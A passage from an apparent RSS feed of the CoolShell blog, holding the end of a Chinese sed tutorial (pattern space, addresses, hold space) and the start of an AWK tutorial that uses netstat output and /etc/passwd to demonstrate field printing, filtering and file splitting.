george</pre>\n<h4>几个知识点</h4>\n<p>好了，下面我们要介绍四个sed的基本知识点：</p>\n<h5>Pattern Space</h5>\n<p>第零个是关于-n参数的，大家也许没看懂，没关系，我们来看一下sed处理文本的伪代码，并了解一下Pattern Space的概念：</p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">foreach line in file {\n    //放入把行Pattern_Space\n    Pattern_Space &lt;= line;\n\n    // 对每个pattern space执行sed命令\n    Pattern_Space &lt;= EXEC(sed_cmd, Pattern_Space);\n\n    // 如果没有指定 -n 则输出处理后的Pattern_Space\n    if (sed option hasn&#039;t &quot;-n&quot;)  {\n       print Pattern_Space\n    }\n}</pre>\n<h5>Address</h5>\n<p>第一个是关于address，几乎上述所有的命令都是这样的（注：其中的!表示匹配成功后是否执行命令）</p>\n<p><strong>&#91;address&#91;,address&#93;&#93;&#91;!&#93;{cmd}</strong></p>\n<p>address可以是一个数字，也可以是一个模式，你可以通过逗号要分隔两个address 表示两个address的区间，参执行命令cmd，伪代码如下：</p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">\nbool bexec = false\nforeach line in file {\n    if ( match(address1) ){\n        bexec = true;\n    }\n\n    if ( bexec == true) {\n        EXEC(sed_cmd);\n    }\n\n    if ( match (address2) ) {\n        bexec = false;\n    }\n}</pre>\n<p>关于address可以使用相对位置，如：</p>\n<pre data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\"># 其中的+3表示后面连续3行\n$ sed &#039;/dog/,+3s/^/# /g&#039; pets.txt\nThis is my cat\n  my cat&#039;s name is betty\n# This is my dog\n#   my dog&#039;s name is frank\n# This is my fish\n#   my fish&#039;s name is george\nThis is my goat\n  my goat&#039;s name is adam</pre>\n<h5>命令打包</h5>\n<p>第二个是cmd可以是多个，它们可以用分号分开，可以用大括号括起来作为嵌套命令。下面是几个例子：</p>\n<pre data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\" data-enlighter-highlight=\"12,21,31\">$ cat pets.txt\nThis is my cat\n  my cat&#039;s name is betty\nThis is my dog\n  my dog&#039;s name is frank\nThis is my fish\n  my fish&#039;s name is george\nThis is my goat\n  my goat&#039;s name is adam\n\n# 对3行到第6行，执行命令/This/d\n$ sed &#039;3,6 {/This/d}&#039; pets.txt\nThis is my cat\n  my cat&#039;s name is betty\n  my dog&#039;s name is frank\n  my fish&#039;s name is george\nThis is my goat\n  my goat&#039;s name is adam\n\n# 对3行到第6行，匹配/This/成功后，再匹配/fish/，成功后执行d命令\n$ sed &#039;3,6 {/This/{/fish/d}}&#039; pets.txt\nThis is my cat\n  my cat&#039;s name is betty\nThis is my dog\n  my dog&#039;s name is frank\n  my fish&#039;s name is george\nThis is my goat\n  my goat&#039;s name is adam\n\n# 从第一行到最后一行，如果匹配到This，则删除之；如果前面有空格，则去除空格\n$ sed &#039;1,${/This/d;s/^ *//g}&#039; pets.txt\nmy cat&#039;s name is betty\nmy dog&#039;s name is frank\nmy fish&#039;s name is george\nmy goat&#039;s name is adam </pre>\n<h5>Hold Space</h5>\n<p>第三个我们再来看一下 Hold Space</p>\n<p>接下来，我们需要了解一下Hold Space的概念，我们先来看四个命令：</p>\n<p>g： 将hold space中的内容拷贝到pattern space中，原来pattern space里的内容清除<br />\nG： 将hold space中的内容append到pattern space\\n后<br />\nh： 将pattern space中的内容拷贝到hold space中，原来的hold space里的内容被清除<br />\nH： 将pattern space中的内容append到hold space\\n后<br />\nx： 交换pattern space和hold space的内容</p>\n<p>这些命令有什么用？我们来看两个示例吧，用到的示例文件是：</p>\n<pre data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\">$ cat t.txt\none\ntwo\nthree</pre>\n<p>第一个示例：</p>\n<pre data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\" data-enlighter-highlight=\"1\">$ sed &#039;H;g&#039; t.txt\none\n\none\ntwo\n\none\ntwo\nthree</pre>\n<p>是不是有点没看懂，我作个图你就看懂了。</p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-9118\" src=\"https://coolshell.cn/wp-content/uploads/2013/02/sed_demo_00.jpg\" alt=\"\" width=\"592\" height=\"404\" srcset=\"https://coolshell.cn/wp-content/uploads/2013/02/sed_demo_00.jpg 592w, https://coolshell.cn/wp-content/uploads/2013/02/sed_demo_00-300x204.jpg 300w\" sizes=\"(max-width: 592px) 100vw, 592px\" /></p>\n<p>第二个示例，反序了一个文件的行：</p>\n<pre data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\" data-enlighter-highlight=\"1\">$ sed &#039;1!G;h;$!d&#039; t.txt\nthree\ntwo\none</pre>\n<p>其中的 &#8216;1!G;h;$!d&#8217; 可拆解为三个命令</p>\n<ul>\n<li>1!G —— 只有第一行不执行G命令，将hold space中的内容append回到pattern space</li>\n<li>h —— 第一行都执行h命令，将pattern space中的内容拷贝到hold space中</li>\n<li>$!d —— 除了最后一行不执行d命令，其它行都执行d命令，删除当前行</li>\n</ul>\n<p>这个执行序列很难理解，做个图如下大家就明白了：</p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-9110\" src=\"https://coolshell.cn/wp-content/uploads/2013/02/sed_demo.jpg\" alt=\"\" width=\"623\" height=\"316\" srcset=\"https://coolshell.cn/wp-content/uploads/2013/02/sed_demo.jpg 623w, https://coolshell.cn/wp-content/uploads/2013/02/sed_demo-300x152.jpg 300w\" sizes=\"(max-width: 623px) 100vw, 623px\" /></p>\n<p>就先说这么多吧，希望对大家有用。</p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2018/05/300x262-150x150.jpg\" alt=\"程序员练级攻略（2018)  与我的专栏\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_title\">程序员练级攻略（2018)  与我的专栏</a></li><li ><a href=\"https://coolshell.cn/articles/17998.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2017/07/systemd-1-150x150.jpeg\" alt=\"Linux PID 1 和 Systemd\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/17998.html\" class=\"wp_rp_title\">Linux PID 1 和 Systemd</a></li><li ><a href=\"https://coolshell.cn/articles/12103.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/11/tux-fork-150x150.gif\" alt=\"vfork 挂掉的一个问题\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/12103.html\" class=\"wp_rp_title\">vfork 挂掉的一个问题</a></li><li ><a href=\"https://coolshell.cn/articles/11847.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/08/puzzle-150x150.png\" alt=\"谜题的答案和活动的心得体会\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/11847.html\" class=\"wp_rp_title\">谜题的答案和活动的心得体会</a></li><li ><a href=\"https://coolshell.cn/articles/9070.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/02/awk-150x150.jpg\" alt=\"AWK 简明教程\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/9070.html\" class=\"wp_rp_title\">AWK 简明教程</a></li><li ><a href=\"https://coolshell.cn/articles/8883.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/01/linux-bash-300x225-150x150.jpg\" alt=\"应该知道的Linux技巧\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/8883.html\" class=\"wp_rp_title\">应该知道的Linux技巧</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/9104.html\">sed 简明教程</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/9104.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>209</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>AWK 简明教程</title>\n\t\t<link>https://coolshell.cn/articles/9070.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/9070.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Sun, 17 Feb 2013 00:38:29 +0000</pubDate>\n\t\t\t\t<category><![CDATA[Unix/Linux]]></category>\n\t\t<category><![CDATA[杂项资源]]></category>\n\t\t<category><![CDATA[编程工具]]></category>\n\t\t<category><![CDATA[awk]]></category>\n\t\t<category><![CDATA[gawk]]></category>\n\t\t<category><![CDATA[Linux]]></category>\n\t\t<category><![CDATA[Shell]]></category>\n\t\t<category><![CDATA[Unix]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=9070</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>有一些网友看了前两天的《Linux下应该知道的技巧》希望我能教教他们用awk和sed，所以，出现了这篇文章。我估计这些80后的年轻朋友可能对awk/sed这类上...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/9070.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/9070.html\">AWK 简明教程</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script><img decoding=\"async\" loading=\"lazy\" class=\"alignright size-full wp-image-9093\" alt=\"\" src=\"https://coolshell.cn/wp-content/uploads/2013/02/awk.jpg\" width=\"350\" height=\"279\" srcset=\"https://coolshell.cn/wp-content/uploads/2013/02/awk.jpg 350w, https://coolshell.cn/wp-content/uploads/2013/02/awk-300x239.jpg 300w, https://coolshell.cn/wp-content/uploads/2013/02/awk-339x270.jpg 339w\" sizes=\"(max-width: 350px) 100vw, 350px\" />有一些网友看了前两天的《<a title=\"应该知道的Linux技巧\" href=\"https://coolshell.cn/articles/8883.html\" target=\"_blank\">Linux下应该知道的技巧</a>》希望我能教教他们用awk和sed，所以，出现了这篇文章。我估计这些80后的年轻朋友可能对awk/sed这类上古神器有点陌生了，所以需要我这个老家伙来炒炒冷饭。<strong>况且，AWK是贝尔实验室1977年搞出来的文本出现神器，今年是蛇年，是AWK的本命年，而且年纪和我相仿，所以非常有必要为他写篇文章</strong>。</p>\n<p>之所以叫AWK是因为其取了三位创始人 <a title=\"Alfred Aho\" href=\"http://en.wikipedia.org/wiki/Alfred_Aho\">Alfred Aho</a>，<a title=\"Peter J. Weinberger\" href=\"http://en.wikipedia.org/wiki/Peter_J._Weinberger\">Peter Weinberger</a>, 和 <a title=\"Brian Kernighan\" href=\"http://en.wikipedia.org/wiki/Brian_Kernighan\">Brian Kernighan</a> 的Family Name的首字符。要学AWK，就得提一提AWK的一本相当经典的书《<a href=\"http://plan9.bell-labs.com/cm/cs/awkbook/\" rel=\"nofollow\">The AWK Programming Language</a>》，它在<a href=\"http://book.douban.com/subject/1876898/\" target=\"_blank\">豆瓣上的评分</a>是9.4分！在<a href=\"http://www.amazon.cn/mn/detailApp/?asin=020107981X\" target=\"_blank\">亚马逊上居然卖1022.30元</a>。</p>\n<p>我在这里的教程并不想面面俱到，本文和我之前的<a title=\"Go 语言简介（上）— 语法\" href=\"https://coolshell.cn/articles/8460.html\" target=\"_blank\">Go语言简介</a>一样，全是示例，基本无废话。</p>\n<p><strong>我只想达到两个目的：</strong></p>\n<p style=\"text-align: left; padding-left: 30px;\"><strong>1）你可以在乘坐公交地铁上下班，或是在坐马桶拉大便时读完（保证是一泡大便的工夫）。</strong></p>\n<p style=\"text-align: left; padding-left: 30px;\"><strong>2）我只想让这篇博文像一个火辣的脱衣舞女挑起你的兴趣，然后还要你自己去下工夫去撸。</strong></p>\n<p>废话少说，我们开始脱吧（注：这里只是topless）。</p>\n<h4>起步上台</h4>\n<p>我从netstat命令中提取了如下信息作为用例：</p>\n<p><span id=\"more-9070\"></span></p>\n<pre data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\">$ cat netstat.txt\nProto Recv-Q Send-Q Local-Address          Foreign-Address             State\ntcp        0      0 0.0.0.0:3306           0.0.0.0:*                   LISTEN\ntcp        0      0 0.0.0.0:80             0.0.0.0:*                   LISTEN\ntcp        0      0 127.0.0.1:9000         0.0.0.0:*                   LISTEN\ntcp        0      0 coolshell.cn:80        124.205.5.146:18245         TIME_WAIT\ntcp        0      0 coolshell.cn:80        61.140.101.185:37538        FIN_WAIT2\ntcp        0      0 coolshell.cn:80        110.194.134.189:1032        ESTABLISHED\ntcp        0      0 coolshell.cn:80        123.169.124.111:49809       ESTABLISHED\ntcp        0      0 coolshell.cn:80        116.234.127.77:11502        FIN_WAIT2\ntcp        0      0 coolshell.cn:80        123.169.124.111:49829       ESTABLISHED\ntcp        0      0 coolshell.cn:80        183.60.215.36:36970         TIME_WAIT\ntcp        0   4166 coolshell.cn:80        61.148.242.38:30901         ESTABLISHED\ntcp        0      1 coolshell.cn:80        124.152.181.209:26825       FIN_WAIT1\ntcp        0      0 coolshell.cn:80        110.194.134.189:4796        ESTABLISHED\ntcp        0      0 coolshell.cn:80        183.60.212.163:51082        TIME_WAIT\ntcp        0      1 coolshell.cn:80        208.115.113.92:50601        LAST_ACK\ntcp        0      0 coolshell.cn:80        123.169.124.111:49840       ESTABLISHED\ntcp        0      0 coolshell.cn:80        117.136.20.85:50025         FIN_WAIT2\ntcp        0      0 :::22                  :::*                        LISTEN\n</pre>\n<p>下面是最简单最常用的awk示例，其输出第1列和第4例，</p>\n<ul>\n<li>其中单引号中的被大括号括着的就是awk的语句，注意，其只能被单引号包含。</li>\n<li>其中的$1..$n表示第几例。注：$0表示整个行。</li>\n</ul>\n<pre data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\" data-enlighter-highlight=\"1\">$ awk &#039;{print $1, $4}&#039; netstat.txt\nProto Local-Address\ntcp 0.0.0.0:3306\ntcp 0.0.0.0:80\ntcp 127.0.0.1:9000\ntcp coolshell.cn:80\ntcp coolshell.cn:80\ntcp coolshell.cn:80\ntcp coolshell.cn:80\ntcp coolshell.cn:80\ntcp coolshell.cn:80\ntcp coolshell.cn:80\ntcp coolshell.cn:80\ntcp coolshell.cn:80\ntcp coolshell.cn:80\ntcp coolshell.cn:80\ntcp coolshell.cn:80\ntcp coolshell.cn:80\ntcp coolshell.cn:80\ntcp :::22</pre>\n<p>我们再来看看awk的格式化输出，和C语言的printf没什么两样：</p>\n<pre data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\" data-enlighter-highlight=\"1\">$ awk &#039;{printf &quot;%-8s %-8s %-8s %-18s %-22s %-15s\\n&quot;,$1,$2,$3,$4,$5,$6}&#039; netstat.txt\nProto    Recv-Q   Send-Q   Local-Address      Foreign-Address        State\ntcp      0        0        0.0.0.0:3306       0.0.0.0:*              LISTEN\ntcp      0        0        0.0.0.0:80         0.0.0.0:*              LISTEN\ntcp      0        0        127.0.0.1:9000     0.0.0.0:*              LISTEN\ntcp      0        0        coolshell.cn:80    124.205.5.146:18245    TIME_WAIT\ntcp      0        0        coolshell.cn:80    61.140.101.185:37538   FIN_WAIT2\ntcp      0        0        coolshell.cn:80    110.194.134.189:1032   ESTABLISHED\ntcp      0        0        coolshell.cn:80    123.169.124.111:49809  ESTABLISHED\ntcp      0        0        coolshell.cn:80    116.234.127.77:11502   FIN_WAIT2\ntcp      0        0        coolshell.cn:80    123.169.124.111:49829  ESTABLISHED\ntcp      0        0        coolshell.cn:80    183.60.215.36:36970    TIME_WAIT\ntcp      0        4166     coolshell.cn:80    61.148.242.38:30901    ESTABLISHED\ntcp      0        1        coolshell.cn:80    124.152.181.209:26825  FIN_WAIT1\ntcp      0        0        coolshell.cn:80    110.194.134.189:4796   ESTABLISHED\ntcp      0        0        coolshell.cn:80    183.60.212.163:51082   TIME_WAIT\ntcp      0        1        coolshell.cn:80    208.115.113.92:50601   LAST_ACK\ntcp      0        0        coolshell.cn:80    123.169.124.111:49840  ESTABLISHED\ntcp      0        0        coolshell.cn:80    117.136.20.85:50025    FIN_WAIT2\ntcp      0        0        :::22              :::*                   LISTEN</pre>\n<h4>脱掉外套</h4>\n<h5>过滤记录</h5>\n<p>我们再来看看如何过滤记录（下面过滤条件为：第三列的值为0 &amp;&amp; 第6列的值为LISTEN）</p>\n<pre data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\" data-enlighter-highlight=\"1\">$ awk &#039;$3==0 &amp;&amp; $6==&quot;LISTEN&quot; &#039; netstat.txt\ntcp        0      0 0.0.0.0:3306               0.0.0.0:*              LISTEN\ntcp        0      0 0.0.0.0:80                 0.0.0.0:*              LISTEN\ntcp        0      0 127.0.0.1:9000             0.0.0.0:*              LISTEN\ntcp        0      0 :::22                      :::*                   LISTEN</pre>\n<p>其中的“==”为比较运算符。其他比较运算符：!=, &gt;, &lt;, &gt;=, &lt;=</p>\n<p>我们来看看各种过滤记录的方式：</p>\n<pre data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\" data-enlighter-highlight=\"1\">$ awk &#039; $3&gt;0 {print $0}&#039; netstat.txt\nProto Recv-Q Send-Q Local-Address          Foreign-Address             State\ntcp        0   4166 coolshell.cn:80        61.148.242.38:30901         ESTABLISHED\ntcp        0      1 coolshell.cn:80        124.152.181.209:26825       FIN_WAIT1\ntcp        0      1 coolshell.cn:80        208.115.113.92:50601        LAST_ACK</pre>\n<p>如果我们需要表头的话，我们可以引入内建变量NR：</p>\n<pre data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\" data-enlighter-highlight=\"1\">$ awk &#039;$3==0 &amp;&amp; $6==&quot;LISTEN&quot; || NR==1 &#039; netstat.txt\nProto Recv-Q Send-Q Local-Address          Foreign-Address             State\ntcp        0      0 0.0.0.0:3306           0.0.0.0:*                   LISTEN\ntcp        0      0 0.0.0.0:80             0.0.0.0:*                   LISTEN\ntcp        0      0 127.0.0.1:9000         0.0.0.0:*                   LISTEN\ntcp        0      0 :::22                  :::*                        LISTEN</pre>\n<p>再加上格式化输出：</p>\n<pre data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\" data-enlighter-highlight=\"1\">$ awk &#039;$3==0 &amp;&amp; $6==&quot;LISTEN&quot; || NR==1 {printf &quot;%-20s %-20s %s\\n&quot;,$4,$5,$6}&#039; netstat.txt\nLocal-Address        Foreign-Address      State\n0.0.0.0:3306         0.0.0.0:*            LISTEN\n0.0.0.0:80           0.0.0.0:*            LISTEN\n127.0.0.1:9000       0.0.0.0:*            LISTEN\n:::22                :::*                 LISTEN</pre>\n<h5><strong>内建变量</strong></h5>\n<p>说到了内建变量，我们可以来看看awk的一些内建变量：</p>\n<table border=\"0\" cellspacing=\"1\" cellpadding=\"4\">\n<tbody>\n<tr>\n<td bgcolor=\"#ffffff\">$0</td>\n<td bgcolor=\"#ffffff\">当前记录（这个变量中存放着整个行的内容）</td>\n</tr>\n<tr>\n<td bgcolor=\"#ffffff\">$1~$n</td>\n<td bgcolor=\"#ffffff\">当前记录的第n个字段，字段间由FS分隔</td>\n</tr>\n<tr>\n<td bgcolor=\"#ffffff\">FS</td>\n<td bgcolor=\"#ffffff\">输入字段分隔符 默认是空格或Tab</td>\n</tr>\n<tr>\n<td bgcolor=\"#ffffff\">NF</td>\n<td bgcolor=\"#ffffff\">当前记录中的字段个数，就是有多少列</td>\n</tr>\n<tr>\n<td bgcolor=\"#ffffff\">NR</td>\n<td bgcolor=\"#ffffff\">已经读出的记录数，就是行号，从1开始，如果有多个文件话，这个值也是不断累加中。</td>\n</tr>\n<tr>\n<td bgcolor=\"#ffffff\">FNR</td>\n<td bgcolor=\"#ffffff\">当前记录数，与NR不同的是，这个值会是各个文件自己的行号</td>\n</tr>\n<tr>\n<td bgcolor=\"#ffffff\">RS</td>\n<td bgcolor=\"#ffffff\">输入的记录分隔符， 默认为换行符</td>\n</tr>\n<tr>\n<td bgcolor=\"#ffffff\">OFS</td>\n<td bgcolor=\"#ffffff\">输出字段分隔符， 默认也是空格</td>\n</tr>\n<tr>\n<td bgcolor=\"#ffffff\">ORS</td>\n<td bgcolor=\"#ffffff\">输出的记录分隔符，默认为换行符</td>\n</tr>\n<tr>\n<td bgcolor=\"#ffffff\">FILENAME</td>\n<td bgcolor=\"#ffffff\">当前输入文件的名字</td>\n</tr>\n</tbody>\n</table>\n<p>怎么使用呢，比如：我们如果要输出行号：</p>\n<pre data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\" data-enlighter-highlight=\"1\">$ awk &#039;$3==0 &amp;&amp; $6==&quot;ESTABLISHED&quot; || NR==1 {printf &quot;%02s %s %-20s %-20s %s\\n&quot;,NR, FNR, $4,$5,$6}&#039; netstat.txt\n01 1 Local-Address        Foreign-Address      State\n07 7 coolshell.cn:80      110.194.134.189:1032 ESTABLISHED\n08 8 coolshell.cn:80      123.169.124.111:49809 ESTABLISHED\n10 10 coolshell.cn:80      123.169.124.111:49829 ESTABLISHED\n14 14 coolshell.cn:80      110.194.134.189:4796 ESTABLISHED\n17 17 coolshell.cn:80      123.169.124.111:49840 ESTABLISHED</pre>\n<h5><strong>指定分隔符</strong></h5>\n<pre data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\" data-enlighter-highlight=\"1\">$  awk  &#039;BEGIN{FS=&quot;:&quot;} {print $1,$3,$6}&#039; /etc/passwd\nroot 0 /root\nbin 1 /bin\ndaemon 2 /sbin\nadm 3 /var/adm\nlp 4 /var/spool/lpd\nsync 5 /sbin\nshutdown 6 /sbin\nhalt 7 /sbin</pre>\n<p>上面的命令也等价于：（-F的意思就是指定分隔符）</p>\n<p><code data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\">$ awk  -F: &#039;{print $1,$3,$6}&#039; /etc/passwd</code></p>\n<p>注：如果你要指定多个分隔符，你可以这样来：</p>\n<p><code data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\">awk -F &#039;[;:]&#039;</code></p>\n<p>再来看一个以\\t作为分隔符输出的例子（下面使用了/etc/passwd文件，这个文件是以:分隔的）：</p>\n<pre data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\" data-enlighter-highlight=\"1\">$ awk  -F: &#039;{print $1,$3,$6}&#039; OFS=&quot;\\t&quot; /etc/passwd\nroot    0       /root\nbin     1       /bin\ndaemon  2       /sbin\nadm     3       /var/adm\nlp      4       /var/spool/lpd\nsync    5       /sbin</pre>\n<h4>脱掉衬衫</h4>\n<h5>字符串匹配</h5>\n<p>我们再来看几个字符串匹配的示例：</p>\n<pre data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\" data-enlighter-highlight=\"1,8\">$ awk &#039;$6 ~ /FIN/ || NR==1 {print NR,$4,$5,$6}&#039; OFS=&quot;\\t&quot; netstat.txt\n1       Local-Address   Foreign-Address State\n6       coolshell.cn:80 61.140.101.185:37538    FIN_WAIT2\n9       coolshell.cn:80 116.234.127.77:11502    FIN_WAIT2\n13      coolshell.cn:80 124.152.181.209:26825   FIN_WAIT1\n18      coolshell.cn:80 117.136.20.85:50025     FIN_WAIT2\n\n$ $ awk &#039;$6 ~ /WAIT/ || NR==1 {print NR,$4,$5,$6}&#039; OFS=&quot;\\t&quot; netstat.txt\n1       Local-Address   Foreign-Address State\n5       coolshell.cn:80 124.205.5.146:18245     TIME_WAIT\n6       coolshell.cn:80 61.140.101.185:37538    FIN_WAIT2\n9       coolshell.cn:80 116.234.127.77:11502    FIN_WAIT2\n11      coolshell.cn:80 183.60.215.36:36970     TIME_WAIT\n13      coolshell.cn:80 124.152.181.209:26825   FIN_WAIT1\n15      coolshell.cn:80 183.60.212.163:51082    TIME_WAIT\n18      coolshell.cn:80 117.136.20.85:50025     FIN_WAIT2</pre>\n<p>上面的第一个示例匹配FIN状态， 第二个示例匹配WAIT字样的状态。其实 ~ 表示模式开始。/ /中是模式。这就是一个正则表达式的匹配。</p>\n<p>其实awk可以像grep一样的去匹配第一行，就像这样：</p>\n<pre data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\" data-enlighter-highlight=\"1\">$ awk &#039;/LISTEN/&#039; netstat.txt\ntcp        0      0 0.0.0.0:3306            0.0.0.0:*               LISTEN\ntcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN\ntcp        0      0 127.0.0.1:9000          0.0.0.0:*               LISTEN\ntcp        0      0 :::22                   :::*                    LISTEN</pre>\n<p>我们可以使用 “/FIN|TIME/” 来匹配 FIN 或者 TIME :</p>\n<pre data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\" data-enlighter-highlight=\"1\">$ awk &#039;$6 ~ /FIN|TIME/ || NR==1 {print NR,$4,$5,$6}&#039; OFS=&quot;\\t&quot; netstat.txt\n1       Local-Address   Foreign-Address State\n5       coolshell.cn:80 124.205.5.146:18245     TIME_WAIT\n6       coolshell.cn:80 61.140.101.185:37538    FIN_WAIT2\n9       coolshell.cn:80 116.234.127.77:11502    FIN_WAIT2\n11      coolshell.cn:80 183.60.215.36:36970     TIME_WAIT\n13      coolshell.cn:80 124.152.181.209:26825   FIN_WAIT1\n15      coolshell.cn:80 183.60.212.163:51082    TIME_WAIT\n18      coolshell.cn:80 117.136.20.85:50025     FIN_WAIT2</pre>\n<p>再来看看模式取反的例子：</p>\n<pre data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\" data-enlighter-highlight=\"1\">$ awk &#039;$6 !~ /WAIT/ || NR==1 {print NR,$4,$5,$6}&#039; OFS=&quot;\\t&quot; netstat.txt\n1       Local-Address   Foreign-Address State\n2       0.0.0.0:3306    0.0.0.0:*       LISTEN\n3       0.0.0.0:80      0.0.0.0:*       LISTEN\n4       127.0.0.1:9000  0.0.0.0:*       LISTEN\n7       coolshell.cn:80 110.194.134.189:1032    ESTABLISHED\n8       coolshell.cn:80 123.169.124.111:49809   ESTABLISHED\n10      coolshell.cn:80 123.169.124.111:49829   ESTABLISHED\n12      coolshell.cn:80 61.148.242.38:30901     ESTABLISHED\n14      coolshell.cn:80 110.194.134.189:4796    ESTABLISHED\n16      coolshell.cn:80 208.115.113.92:50601    LAST_ACK\n17      coolshell.cn:80 123.169.124.111:49840   ESTABLISHED\n19      :::22   :::*    LISTEN</pre>\n<p>或是：</p>\n<p><code data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\">awk &#039;!/WAIT/&#039; netstat.txt</code></p>\n<p><strong>折分文件</strong></p>\n<p>awk拆分文件很简单，使用重定向就好了。下面这个例子，是按第6例分隔文件，相当的简单（其中的NR!=1表示不处理表头）。</p>\n<pre data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\" data-enlighter-highlight=\"1\">$ awk &#039;NR!=1{print &gt; $6}&#039; netstat.txt\n\n$ ls\nESTABLISHED  FIN_WAIT1  FIN_WAIT2  LAST_ACK  LISTEN  netstat.txt  TIME_WAIT\n\n$ cat ESTABLISHED\ntcp        0      0 coolshell.cn:80        110.194.134.189:1032        ESTABLISHED\ntcp        0      0 coolshell.cn:80        123.169.124.111:49809       ESTABLISHED\ntcp        0      0 coolshell.cn:80        123.169.124.111:49829       ESTABLISHED\ntcp        0   4166 coolshell.cn:80        61.148.242.38:30901         ESTABLISHED\ntcp        0      0 coolshell.cn:80        110.194.134.189:4796        ESTABLISHED\ntcp        0      0 coolshell.cn:80        123.169.124.111:49840       ESTABLISHED\n\n$ cat FIN_WAIT1\ntcp        0      1 coolshell.cn:80        124.152.181.209:26825       FIN_WAIT1\n\n$ cat FIN_WAIT2\ntcp        0      0 coolshell.cn:80        61.140.101.185:37538        FIN_WAIT2\ntcp        0      0 coolshell.cn:80        116.234.127.77:11502        FIN_WAIT2\ntcp        0      0 coolshell.cn:80        117.136.20.85:50025         FIN_WAIT2\n\n$ cat LAST_ACK\ntcp        0      1 coolshell.cn:80        208.115.113.92:50601        LAST_ACK\n\n$ cat LISTEN\ntcp        0      0 0.0.0.0:3306           0.0.0.0:*                   LISTEN\ntcp        0      0 0.0.0.0:80             0.0.0.0:*                   LISTEN\ntcp        0      0 127.0.0.1:9000         0.0.0.0:*                   LISTEN\ntcp        0      0 :::22                  :::*                        LISTEN\n\n$ cat TIME_WAIT\ntcp        0      0 coolshell.cn:80        124.205.5.146:18245         TIME_WAIT\ntcp        0      0 coolshell.cn:80        183.60.215.36:36970         TIME_WAIT\ntcp        0      0 coolshell.cn:80        183.60.212.163:51082        TIME_WAIT</pre>\n<p>你也可以把指定的列输出到文件：</p>\n<p><code data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\">awk &#039;NR!=1{print $4,$5 &gt; $6}&#039; 